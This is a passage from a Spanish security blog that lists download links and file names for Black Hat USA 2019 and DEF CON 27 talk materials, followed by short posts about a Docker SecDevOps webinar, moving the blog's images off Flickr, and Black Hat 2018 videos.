  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Conti-Operational-Templates-for-State-Level-Attack-and-Collective-Defense-of-Countries.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Conti-Operational-Templates-for-State-Level-Attack-and-Collective-Defense-of-Countries-wp.pdf )
• Process Injection Techniques - Gotta Catch Them All
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf )
  • [Download Tool] ( https://github.com/SafeBreach-Labs/pinjectra )
• Bounty Operations: Best Practices and Common Pitfalls to Avoid in the First 6-12 Months
• DevSecOps : What, Why and How
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Shrivastava-DevSecOps-What-Why-And-How.pdf )
• Breaking Encrypted Databases: Generic Attacks on Range Queries
• Finding Our Path: How We're Trying to Improve Active Directory Security
• API-Induced SSRF: How Apple Pay Scattered Vulnerabilities Across the Web
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Maddux-API-Induced-SSRF-How-Apple-Pay-Scattered-Vulnerabilities-Across-The-Web.pdf )
• Exploiting Qualcomm WLAN and Modem Over The Air
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Pi-Exploiting-Qualcomm-WLAN-And-Modem-Over-The-Air.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Pi-Exploiting-Qualcomm-WLAN-And-Modem-Over-The-Air-wp.pdf )
• Practical Approach to Automate the Discovery and Eradication of Open-Source Software Vulnerabilities at Scale
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Almubayed-Practical-Approach-To-Automate-The-Discovery-And-Eradication-Of-Open-Source-Software-Vulnerabilities-At-Scale.pdf )
• Managing for Success: Maintaining a Healthy Bug Bounty Program Long Term
• Ghidra - Journey from Classified NSA Tool to Open Source
• Firmware Cartography: Charting the Course for Modern Server Compromise
• 0-days & Mitigations: Roadways to Exploit and Secure Connected BMW Cars
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Cai-0-Days-And-Mitigations-Roadways-To-Exploit-And-Secure-Connected-BMW-Cars.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Cai-0-Days-And-Mitigations-Roadways-To-Exploit-And-Secure-Connected-BMW-Cars-wp.pdf )
• Infighting Among Russian Security Services in the Cyber Sphere
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Zenz-Infighting-Among-Russian-Security-Services-in-the-Cyber-Sphere.pdf )
• Behind the scenes of iOS and Mac Security
• Zombie Ant Farming: Practical Tips for Playing Hide and Seek with Linux EDRs
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Snezhkov-Zombie-Ant-Farming-Practical-Tips-For-Playing-Hide-And-Seek-With-Linux-EDRs.pdf )
• Predictive Vulnerability Scoring System
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Roytman-Jacobs-Predictive-Vulnerability-Scoring-System.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Roytman-Predictive-Vulnerability-Scoring-System-wp.pdf )
• Towards Discovering Remote Code Execution Vulnerabilities in Apple FaceTime
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Huang-Towards-Discovering-Remote-Code-Execution-Vulnerabilities-In-Apple-FaceTime.pdf )
• Backdooring Hardware Devices by Injecting Malicious Payloads on Microcontrollers
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Berta-Backdooring-Hardware-Devices-By-Injecting-Malicious-Payloads-On-Microcontrollers.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Berta-Backdooring-Hardware-Devices-By-Injecting-Malicious-Payloads-On-Microcontrollers-wp.pdf )
• Securing the System: A Deep Dive into Reversing Android Pre-Installed Apps
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Stone-Securing-The-System-A-Deep-Dive-Into-Reversing-Android-Preinstalled-Apps.pdf )
• Preventing Authentication Bypass: A Tale of Two Researchers
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Jaiswal-Preventing-Authentication-Bypass-A-Tale-Of-Two-Researchers.pdf )
• Automation Techniques in C++ Reverse Engineering
• Inside the Apple T2
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Davidov-Inside-The-Apple-T2.pdf )
• Making Big Things Better the Dead Cow Way
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Menn-Making-Big-Things-Better-The-Dead-Cow-Way-wp.pdf )
• Critical Zero Days Remotely Compromise the Most Popular Real-Time OS
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Seri-Critical-Zero-Days-Remotely-Compromise-The-Most-Popular-Real-Time-OS.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Seri-Critical-Zero-Days-Remotely-Compromise-The-Most-Popular-Real-Time-OS-wp.pdf )
• Fantastic Red-Team Attacks and How to Find Them
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Smith-Fantastic-Red-Team-Attacks-And-How-To-Find-Them.pdf )
• The Discovery of a Government Malware and an Unexpected Spy Scandal
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Franceschi-Bicchierai-The-Discovery-Of-A-Government-Malware-And-An-Unexpected-Spy-Scandal.pdf )
• Attacking iPhone XS Max
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Wang-Attacking-IPhone-XS-Max.pdf )
• Securing Apps in the Open-By-Default Cloud
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Howes-Securing-Apps-In-The-Open-By-Default-Cloud.pdf )
• Adventures in the Underland: The CQForensic Toolkit as a Unique Weapon Against Hackers
• HostSplit: Exploitable Antipatterns in Unicode Normalization
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization-wp.pdf )
• Hacking Ten Million Useful Idiots: Online Propaganda as a Socio-Technical Security Project
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Perlman-Hacking-Ten-Million-Useful-Idiots-Online-Propaganda-As-A-Socio-Technical-Security-Project.pdf )
• Everybody be Cool, This is a Robbery!
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Campana-Everybody-Be-Cool-This-Is-A-Robbery.pdf )
• A Compendium of Container Escapes
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Edwards-Compendium-Of-Container-Escapes.pdf )
• The Future of ATO
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Martin-The-Future-Of-ATO.pdf )
• Exploring the New World : Remote Exploitation of SQLite and Curl
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Qian-Exploring-The-New-World-Remote-Exploitation-Of-SQLite-And-Curl.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Qian-Exploring-The-New-World-Remote-Exploitation-Of-SQLite-And-Curl-wp.pdf )
• How to Detect that Your Domains are Being Abused for Phishing by Using DNS
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Hoelzel-How-To-Detect-That-Your-Domains-Are-Being-Abused-For-Phishing-By-Using-DNS.pdf )
• Debug for Bug: Crack and Hack Apple Core by Itself - Fun and Profit to Debug and Fuzz Apple Kernel by lldb Script
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Lilang-Debug-For-Bug-Crack-And-Hack-Apple-Core-By-Itself-Fun-And-Profit-To-Debug-And-Fuzz-Apple-Kernel-By-LLDB-Script.pdf )
• Shifting Knowledge Left: Keeping up with Modern Application Security
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Stanislav-Shifting-Knowledge-Left-Keeping-Up-With-Modern-Application-Security.pdf )
• Paging All Windows Geeks – Finding Evil in Windows 10 Compressed Memory
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Sardar-Paging-All-Windows-Geeks-Finding-Evil-In-Windows-10-Compressed-Memory.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Sardar-Paging-All-Windows-Geeks-Finding-Evil-In-Windows-10-Compressed-Memory-wp.pdf )
• Breaking Samsung’s ARM TrustZone
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Peterlin-Breaking-Samsungs-ARM-TrustZone.pdf )
• Command Injection in F5 iRules
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Jerkeby-Command-Injection-In-Irules-Loadbalancer-Scripts.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Jerkeby-Command-Injection-In-Irules-Loadbalancer-Scripts-wp.pdf )
• Moving from Hacking IoT Gadgets to Breaking into One of Europe's Highest Hotel Suites
  • [Download Presentation Slides] ( https://i.blackhat.com/USA-19/Thursday/us-19-Ray-Moving-From-Hacking-IoT-Gadgets-To-Breaking-Into-One-Of-Europes-Highest-Hotel-Suites.pdf )
• Lessons and Lulz: The 5th Annual Black Hat USA NOC Report

Material DEF CON 27

*DEF CON 27*

Ya hay disponible bastante material de las presentaciones de DEF CON 27 :

• Anish-Athalye-Strong-Isolation.pdf
  • Anish Athalye - Strong Isolation - Demo 1 of 7.mp4
  • Anish Athalye - Strong Isolation - Demo 2 of 7.mp4
  • Anish Athalye - Strong Isolation - Demo 3 of 7.mp4
  • Anish Athalye - Strong Isolation - Demo 4 of 7.mp4
  • Anish Athalye - Strong Isolation - Demo 5 of 7.mp4
  • Anish Athalye - Strong Isolation - Demo 6 of 7.mp4
  • Anish Athalye - Strong Isolation - Demo 7 of 7.mp4
• Bernhard-Mueller-The-Ether-Wars.pdf
  • Bernhard-Mueller-demo_01_destructible.mp4
  • Bernhard-Mueller-demo_02_ethernaut.mp4
  • Bernhard-Mueller-demo_03_graph.mp4
  • Bernhard-Mueller-demo_04_scrooge.mp4
• Bill-Graydon-Restricted-Keys.pdf
  • Graydon - Restricted Keys - HPC keyway adapter.mp4
  • Graydon - Restricted Keys - SC1 cut.mp4
  • Graydon - Restricted Keys - m3 slider cut.mp4
  • Graydon - Restricted Keys - mul-t-lock drill press.mp4
  • Graydon - Restricted Keys - standard profile cut.mp4
• Christopher-Wade-Tag-side-attacks-against-NFC.pdf
  • Christopher Wade - Demo 1.mp4
  • Christopher Wade - Demo 2.mp4
  • Christopher Wade - Demo 3.mp4
  • Christopher Wade - Demo 4.mp4
• Damien-Cauquil-Defeating-Bluetooth-Low-Energy-5-PRNG-for-fun-and-jamming.PDF
  • Damien Cauquil - 1.simulating_csa2_attack.mp4
  • Damien Cauquil - 1.simulating_csa2_attack_1.mp4
  • Damien Cauquil - 2.sniffing_csa2.mp4
  • Damien Cauquil - 2.sniffing_csa2_1.mp4
  • Damien Cauquil - 3.jamming_csa2.mp4
  • Damien Cauquil - 3.jamming_csa2_1.mp4
• DimitrySnezhkov-Zombie-Ant-Farm-Practical-Tips.pdf
  • DimitrySnezhkov-Zombie-Ant-Farm-Practical-Tips-1080.mp4
  • DimitrySnezhkov-Zombie-Ant-Farm-Practical-Tips-Demo.mp4
• Dirk-jan-Mollema-Im-in-your-cloud-pwning-your-azure-environment.pdf
  • Dirk-jan Mollema - Im in your cloud pwning your azure environment - demo1.mp4
  • Dirk-jan Mollema - Im in your cloud pwning your azure environment - mfademo.mp4
  • Dirk-jan Mollema - Im in your cloud pwning your azure environment - notepad.mp4
• Douglas-McKee-HVACking-Understanding-the-Delta-Between-Security-and-Reality.pdf
  • Douglas McKee - HVACKing Demo 2.mp4
  • Douglas McKee - HVACKing Demo 3.mp4
  • Douglas McKee HVACKing Demo 1.mp4
• Gerald-Doussot-Roger-Meyer-State-of-DNS-Rebinding-Attack-and-Prevention-Techniques-and-the-Singularity-of-Origin.pdf
  • Gerald-Doussot-Roger-Meyer-State-of-DNS-Rebinding-Attack-and-Prevention-Techniques-and-the-Singularity-of-Origin-rebind-demo1-iPad-5sec.mp4
  • Gerald-Doussot-Roger-Meyer-State-of-DNS-Rebinding-Attack-and-Prevention-Techniques-and-the-Singularity-of-Origin-rebind-demo2-hook-control.mp4
  • Gerald-Doussot-Roger-Meyer-State-of-DNS-Rebinding-Attack-and-Prevention-Techniques-and-the-Singularity-of-Origin-rebind-demo3-automation.mp4
• Hadrien-Barral-The-ABC-of-Next-Gen-Shellcoding.pdf
  • Hadrien-Barral-The-ABC-of-Next-Gen-Shellcoding-armv8.mp4
  • Hadrien-Barral-The-ABC-of-Next-Gen-Shellcoding-english.mp4
  • hash.mp4
  • slash.mp4
  • tick.mp4
• Huber-and-Roskosch-I-m-on-Your-Phone-Listening-Attacking-VoiP-Configuration-Interfaces.pdf
  • Huber-and-Roskosch-I-m-on-Your-Phone-Listening-Attacking-VoIP-Configuration-Interfaces-Demo-1.mp4
  • Huber-and-Roskosch-I-m-on-Your-Phone-Listening-Attacking-VoIP-Configuration-Interfaces-Demo-2.mp4
  • Huber-and-Roskosch-I-m-on-Your-Phone-Listening-Attacking-VoIP-Configuration-Interfaces-Demo-3.mp4
• Itzik-Kotler-Amit-Klein-Gotta-Catch-Them-All.pdf
  • Itzik-Kotler-Amit-Klein-Gotta-Catch-Them-All-Demo-Extras.zip
  • Itzik-Kotler-Amit-Klein-Gotta-Catch-Them-AllAtomBombing.mp4
  • Itzik-Kotler-Amit-Klein-Gotta-Catch-Them-AllGhostWriting.mp4
  • Itzik-Kotler-Amit-Klein-Gotta-Catch-Them-AllSetWindowsLongPtr.mp4
  • Itzik-Kotler-Amit-Klein-Gotta-Catch-Them-AllStackBomber.mp4
  • Itzik-Kotler-Amit-Klein-Gotta-Catch-Them-AllnmapMap.mp4
• Jack-Baker-Hacking-Web-Assembly-Games.pdf
  • Jack-Baker-Hacking-Web-Assembly-Games-Demo-1.mp4
  • Jack-Baker-Hacking-Web-Assembly-Games-Demo-2.mp4
• Jayson-Grace-MOSE-Using-Configuration-Management-for-Evil.pdf
  • Jayson-Grace-MOSE-Using-Configuration-Management-for-Evil-Demo-1.mp4
  • Jayson-Grace-MOSE-Using-Configuration-Management-for-Evil-Demo-2.mp4
  • Jayson-Grace-MOSE-Using-Configuration-Management-for-Evil-Demo-3.mp4
• Jeff-Dileo-Evil-eBPF-In-Depth.pdf
  • Jeff-Dileo-Evil-eBPF-In-Depth-DEMO-call.mp4
  • Jeff-Dileo-Evil-eBPF-In-Depth-DEMO-reduce.mp4
• Jens-Mueller-Re-Whats-up-Johnny-Covert-Content-Attacks-on-Email-End-to-End-Encryption.pdf
  • Jens Mueller-demo-decryption-oracle.ogv
  • Jens Mueller-demo-signing-oracle.ogv
• Jmaxxz-Your-Car-is-My-Car.pdf
  • OpenRemoteStart-master
    • images/
    • src/
    • LICENSE
    • README.md
    • project.properties
  • Jmaxxz - 0 - BenchCarTour.mp4
  • Jmaxxz - 1 - StartingBenchCarRf.mp4
  • Jmaxxz - 10 - StartImprezaWithoutTransponder.mp4
  • Jmaxxz - 11 -StartMiniWIthoutKey.mp4
  • Jmaxxz - 2 - CloneExistingRemote_ShortEdit - UPDATED V2.mp4
  • Jmaxxz - 2 -CloneExistingRemote.mp4
  • Jmaxxz - 3 - StartCar.mp4
  • Jmaxxz - 4 - DriveOff - UPDATED V2.mp4
  • Jmaxxz - 4 - DriveOff.mp4
  • Jmaxxz - 5 - DisableWheelLockAndDrive.mp4
  • Jmaxxz - 6 - StartCarAfterStop.mp4
  • Jmaxxz - 9 - SqliStartCar.mp4
• Joshua-Maddux-API-Induced-SSRF.pdf
  • Joshua Maddux - API-Induced SSRF - Demo 1 appr-wrapper.mp4
  • Joshua Maddux - API-Induced SSRF - Demo 2 webkitorg.mp4
  • Joshua Maddux - API-Induced SSRF - Demo 3 twilio.mp4
• Leon-Jacobs-Meticulously-Modern-Mobile-Manipulations.pdf
  • Leon Jacobs - 1. http-file-browser.mp4
  • Leon Jacobs - 2. heap-ios-tiktok.mp4
  • Leon Jacobs - 3. reflection-jar-socket.mp4
  • Leon Jacobs - 4. ios-flex-plugin.mp4
  • Leon Jacobs - 5. android-stetho.mp4
  • Leon Jacobs - 6. jenkins-ci.mov.mp4
• Maksim-Shudrak-Zero-Bugs-Found-Hold-My-Beer-AFL-How-to-Improve-Coverage-guided-Fuzzing-and-Find-New-Zero-days-in-Tough-Targets.pdf
  • afl_main_screen_fast.mkv
  • manul_main.mkv
  • zeek_1.mkv
• Nikhil-Mittal-RACE-Minimal-Rights-and-ACE-for-Active-Directory-Dominance.pdf
  • Nikhil - RACE - Minimal Rights and ACE for Active Directory Dominance - Demo2-ModifyServicePermissions.mp4
  • Nikhil - RACE - Minimal Rights and ACE for Active Directory Dominance - Demo3-JEAToDC.mp4
  • Nikhil - RACE - Minimal Rights and ACE for Active Directory Dominance - Demo4-DumpDCHash.mp4
  • Nikhil - RACE - Minimal Rights and ACE for Active Directory Dominance - Demo5-CompromiseForestRoot.mp4
  • Nikhil - RACE - Minimal Rights and ACE for Active Directory Dominance- Demo1-PSRemotingToDC.mp4
• Orange-Tsai-and-Meh-Chang-Infiltrating-Corporate-Intranet-Like-NSA-Pre-auth-RCE-on-Leading-SSL-VPNs.pdf
  • Orange-Tsai-and-Meh-Chang-Infiltrating-Corporate-Intranet-Like-NSA-Pre-auth-RCE-on-Leading-SSL-VPNs-Demo-Video.zip
  • Orange-Tsai-and-Meh Chang-Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs-demo_fortigate.mp4
  • Orange-Tsai-and-Meh Chang-Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs-demo_pulsesecure_v1.mp4
• Pedro-Cabrera-SDR-Against-Smart-TVs-URL-and-Channel-Injection-Attacks.pdf
  • 1_video.mp4
  • 2_video.mp4
  • PedroCabrera - SDR Against Smart TVs_video10-B+M.mp4
  • PedroCabrera - SDR Against Smart TVs_video3-NotFinal.mp4
  • PedroCabrera - SDR Against Smart TVs_video4.mp4
  • PedroCabrera - SDR Against Smart TVs_video5_inject_URL.mp4
  • PedroCabrera - SDR Against Smart TVs_video6-IISS-SDR.mp4
  • PedroCabrera - SDR Against Smart TVs_video7-IISS-DNS.mp4
  • PedroCabrera - SDR Against Smart TVs_video8-KL.mp4
  • PedroCabrera - SDR Against Smart TVs_video9-Mi.mp4
• Sheila-A-Berta-Backdooring-hardware-devices-by-injecting-malicious-payloads-on-Microcontrollers.pdf
  • CARSECU_demo.mp4
  • EUSART_demo.mp4
  • ROP_demo.mp4
• Xiling-Gong-Peter-Pi-Exploiting-Qualcomm-WLAN-and-Modem-Over-The-Air.pdf
  • demo - xiling gong, peter pi - exploiting qualcomm wlan and modem over the air.mp4
  • demo - xiling gong, peter pi - exploiting qualcomm wlan and modem over the air_1.mp4
• Yaron-Zinar-and-Marina-Simakov-Relaying-Credentials-Has-Never-Been-Easier-How-to-Easily-Bypass-the-Latest-NTLM-Relay-Mitigations.pdf
  • Zinar Simakov - epa_bypass_final.mp4
  • Zinar Simakov - session_key_final.mp4
• albinowax-HTTP-Desync-Attacks.pdf
  • albinowax-HTTP-Desync-Attacks-whitepaper.pdf
  • albinowax-HTTP-Desync-Attacks-demo.mp4
• albinowax-HTTP-Desync-Attacks-tool
  • build
    • classes/
    • libs/
    • resources/
    • tmp/
  • out
    • artifacts/
    • production/
  • resources
    • CL-TE.py
    • TE-CL.py
  • src
    • burp/
  • build.gradle
  • readme.md
  • sqlite-jdbc-3.23.1.jar
  • turbo-intruder-all.jar
• finalphoenix-Rise-of-the-Hypebots.pdf
  • finalphoenix-Rise-of-the-Hypebots-Complicated Bot.mp4
  • finalphoenix-Rise-of-the-Hypebots-botsThatBot.mp4
  • finalphoenix-Rise-of-the-Hypebots-fancy-monitor.mp4
  • finalphoenix-Rise-of-the-Hypebots-puppeteerBot.mp4
  • finalphoenix-Rise-of-the-Hypebots-simple-monitor.mp4
• Alexandre-Borges-dotNET-Malware-Threats.pdf
• Alon-Weinberg-Please-inject-me-a-x64-code-injection.pdf
  • Alon-Weinberg-Please-inject-me-a-x64-code-injection-Demo.mp4
• Alvaro-Munoz-Oleksandr-Mirosh-SSOWars-The-Token-Menace.pdf
  • Alvaro-Munoz-Oleksandr-Mirosh-SSOWars-The-Token-Menace-Demo-Videos.zip
• Amit-Waisel-and-Hila-Cohen-malproxy.pdf
  • Amit-Waisel-and-Hila-Cohen-malproxy-demo.mp4
• Andreas-Baumhof-Are-Quantum-Computers-Really-A-Threat-To-Cryptography.pdf
• Andy-Grant-Unpacking-pkgs.pdf
  • Andy-Grant-Unpacking-pkgs.mp4
• Ariel-Adversariel-Herbert-Voss-Dont-Red-Team-AI-like-a-Chump.pdf
• Ben-Morris-More-Keys-Than-A-Piano-Finding-Secrets-In-Publicly-Exposed-Ebs-Volumes.pdf
• Ben-Sadeghipour-Owning-the-clout-through-SSRF-and-PDF-generators.pdf
• Bill-Swearingen-HAKC-The-Police.pdf
• Brad-Dixon-Cheating-in-eSports-How-to-cheat-at-virtual-cycling-using-USB-hacks.compressed.pdf
• Brad-Dixon-Cheating-in-eSports-How-to-cheat-at-virtual-cycling-using-USB-hacks.pdf
• Brent-Stone-Reverse-Enginerring-17-Cars.pdf
  • Brent-Stone-Reverse-Enginerring-17-Cars-Video-Demo.mp4
• Brizendine-Stroschein-The-JOP-ROCKET-DEMO-1.mp4
• Brizendine-Stroschein-The-JOP-ROCKET.pdf
  • Brizendine-Stroschein-The-JOP-ROCKET-DEMO.mp4
• Campbell-Murray-GSM-We-can-hear-everyone-now.pdf
• Christopher-Roberts-Firmware-Slap.pdf
  • Christopher-Roberts-DEMO-1.mp4
  • Christopher-Roberts-DEMO-2.mp4
  • Christopher-Roberts-Firmware-Slap-DEMO-1.wmv
  • Christopher-Roberts-Firmware-Slap-DEMO-2.wmv
  • Christopher-Roberts-Firmware-Slap-DEMO-3.wmv
• Dan-Regalado-Defcon27AliDan.pdf
  • Dan-Regalado-ARM-Syscalls.mp4
• Daniel-Romero-and-Mario-Rivas-Why-you-should-fear-your-mundane-office.pdf
• Elliott-Thompson-Mi-Casa-Su-Casa.pdf
  • Elliott-Thompson-Mi-Casa-Su-Casa-Video-Demonstration.mp4
• Eyal-Itkin-Say-Cheese-How-I-Ransomwared-Your-DSLR-Camera.pdf
  • Eyal-Itkin-Say-Cheese-How-I-Ransomwared-Your-DSLR-Camera-Demo.mp4
• Gregory-Pickett-Breaking-The-Back-End-It-Is-Not-Always-A-Bug.-Sometimes-It-Is-Just-Bad-Design.pdf
  • Gregory-Pickett-Breaking-The-Back-End-It-Is-Not-Always-A-Bug.-Sometimes-It-Is-Just-Bad-Design-Demo.mp4
• Jacob-Baines-Help-Me-Vulnerabilities.-Youre-My-Only-Hope.pdf
• Jesse-Michael-Get-off-the-kernel-if-you-cant-drive.pdf
• Joe-Grand-Badge.pdf
  • Joe-Grand-The-Badge.pdf
• Joseph-Cox-How-You-Can-Buy-ATT-T-Mobile-and-Sprint-Real-Time-Location-Data-on-the-Black-Market.pdf
• Joseph-Menn-Change-the-World-cDc-Style.pdf
• Junyu-Zhou-and-Ce-Qin-and-Jianing-Wang-Web2Own-Attacking-Desktop-Apps-From-Web-Securitys-Perspective.pdf
• Katherine-Pratt-Hacking-Your-Thoughts-Batman-Forever-meets-Black-Mirror.pdf
  • Katherine-Pratt-Hacking-Your-Thoughts-Batman-Forever-meets-Black-Mirror.pptx
• Kyle-Gwinnup-Next-Generation-Process-Emulation-with-Binee.pdf
  • Kyle-Gwinnup-Next-Generation-Process-Emulation-with-Binee-Demo.mp4
• Masarah-Paquet-Clouston-Olivier-Bilodeau-The-Industry-of-Social-Media-Manipulation-Driven-by-Malware.pdf
  • Masarah-Paquet-Clouston-Olivier-Bilodeau-The-Industry-of-Social-Media-Manipulation-support-video-luminati-sdk-demo.mp4
• Matt-Wixey-Sound-Effects-Exploring-Acoustic-Cyber-Weapons.pdf
• Michael-Leibowitz-and-Topher-Timzen-EDR-Is-Coming-Hide-Yo-Sht.pdf
  • Michael-Leibowitz-and-Topher-Timzen-EDR-Is-Coming-Hide-Yo-Sht-WINDOWS-DEMO.mp4
• Michael-Stepankin-Apache-Solr-Injection.pdf
• Nicolas-Oberli-Poking-the-S-in-SD-cards.PDF
  • Nicolas-Oberli-Poking-the-S-in-SD-cards-DEMO.mkv
  • Nicolas-Oberli-Poking-the-S-in-SD-cards-DEMO.mp4
• Nina-Kollars-Confessions-of-a-Nespresso-Money-Mule.pdf
• Omer-Gull-SELECT-code-execution-FROM-USING-SQLite.pdf
  • Omer-Gull-SELECT-code-execution-FROM-USING-SQLite-Demo.mp4
  • Omer-Yair-Exploiting-Windows-Exploit-Mitigation-for-ROP-Exploits-Demo.mp4
  • Omer-Yair-Exploiting-Windows-Exploit-Mitigation-for-ROP-Exploits.pdf
• Panel-DC101-The-Panel.pdf
• Patrick-Wardle-Harnessing-Weapons-of-Mac-Destruction.pdf
• Phar-No-Mas-How-One-Side-Channel-Flaw-Opens-Atm-Pharmacies-and-Government-Secrets-Up-to-Attack.pdf
• Philippe-Laulheret-Introduction-to-Hardware-Hacking-Extended-Version.pdf
  • Philippe-Laulheret-Introduction-to-Hardware-Hacking-Demo-Video.mp4
• Roger-Dingledine-TOR-Censorship-Arms-Race.pdf
• Travis-Palmer-First-try-DNS-Cache-Poisoning-with-IPv4-and-IPv6-Fragmentation.pdf
• Truman-Kain-Surveillance-Detection-Scout.pdf
  • Truman-Kain-Surveillance-Detection-Scout-Demo.mp4
• Wenxiang-Qian-Yuxiang-Li-Huiyu-Wu-Breaking-Google-Home-Exploit-It-with-SQLite-Magellan.pdf
• WillC-Phreaking-Elevators.pdf
• Workshop-Anthony-Rose-Introduction-to-AMSI-Bypasses-and-Sandbox-Evasion.pdf
• Xiaohuihui-All-The-4G-Modules-Could-Be-Hacked.pdf
• Zhang-Xiangqian-Liu-Huiming-Your-secret-files-are-mine.pdf
• d4krm4tter-Mike-Spicer-I-Know-What-You-Did-Last-Summer.pdf
  • d4krm4tter-Mike-Spicer-I-Know-What-You-Did-Last-Summer-Demo.mp4
• droogie-go-null-yourself.pdf
• grichter-Reverse-Engineering-4G-Hotspots-For-Fun-Bugs-Net-Financial-Loss.pdf
  • grichter-Reverse-Engineering-4G-Hotspots-For-Fun-Bugs-Net-Financial-Loss-MF910-CSRF-Demo.mp4
• jiska-fabian-vacuum-cleaning-security.pdf
• smea-Adventures-in-smart-buttplug-penetration-testing.pdf

Webinar Sobre Docker, Kubernetes y SecDevOps

*HCDS – Docker & SecDevOps*

Basado en el libro de Docker: SecDevOps , Fran Ramírez , Alberto Berdugo y un servidor , hemos tenido la oportunidad de grabar un webinar en colaboración con The Security Sentinel .

En dicho webinar, prácticamente hemos cubierto todo el contenido del libro, pero en vez de la introducción a Docker Swarm, la hemos sustituido con una amplia introducción a Kubernetes y hemos ampliado la parte de SecDevOps. Además cada apartado teórico está repleto de ejemplos para que el alumno pueda poner en práctica lo aprendido.

Moviendo las imágenes de Flickr a Digital Ocean …

*Cyberhades Digital Ocean Spaces*

En Cyberhades hemos estado usando Flickr como repositorio de imágenes desde el 2008. Incluso en los años 2015 y 2016 pagamos por una cuenta profesional, que honestamente no recuerdo la differencia entre la cuenta pro y la gratuita free, cuyo coste era de $24.95 al año. A partir del año 2017 volvimos a usar la cuenta free, porque no le estábamos sacando ningún beneficio a la cuenta de pago. Nuestra experiencia con Flickr siempre ha sido muy positiva, nunca hemos tenido problemas con el servicio, pero el año pasado Flickr fue adquirida por SmugMug , y recientemente anunciaron que las cuentas gratuitas de Flickr estarían limitadas a un máximo de 1000 imágenes, y el resto serían borradas, a menos que pagues por una cuenta pro, $50 al año, o $6 al mes. En nuestro caso, tenemos en Flickr 3.997 imágenes, con lo cual si Flickr nos borra 2.997 imágenes, tendría un gran impacto en el blog. La cuenta pro de Flickr provee de otros beneficios más allá del número ilimitado de fotos, y si eres fotógrafo lo mismo te interesa, pero en nuestro caso, quitando el CDN , no nos aporta ningún valor extra que beneficie el blog.

Vídeos de Black Hat USA 2018

*Black Hat USA 2018*

Ya están disponibles los vídeos de Black Hat 2018 :

• Black Hat USA 2018 Keynote: Parisa Tabriz
• [How can Communities Move Forward After Incidents of Sexual Harassment or Assault?]( https://www.youtube.com/watch?v=vH28IUgJCH8&index=3&t=0s& list=PLH15HpR5qRsVAXGmSVfjWrGtGLJjIJuGe)
• [Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Native Library]( https://www.youtube.com/watch?v=s0Tqi7fuOSU&inde x=4&t=0s&list=PLH15HpR5qRsVAXGmSVfjWrGtGLJjIJuGe)
• [Fire & Ice: Making and Breaking macOS Firewalls]( https://www.youtube.com/watch?v=_xsnedUp4ko&index=5&t=0s&list=PLH15HpR5qRsVAXGmSVfjWrGtGLJj IJuGe)
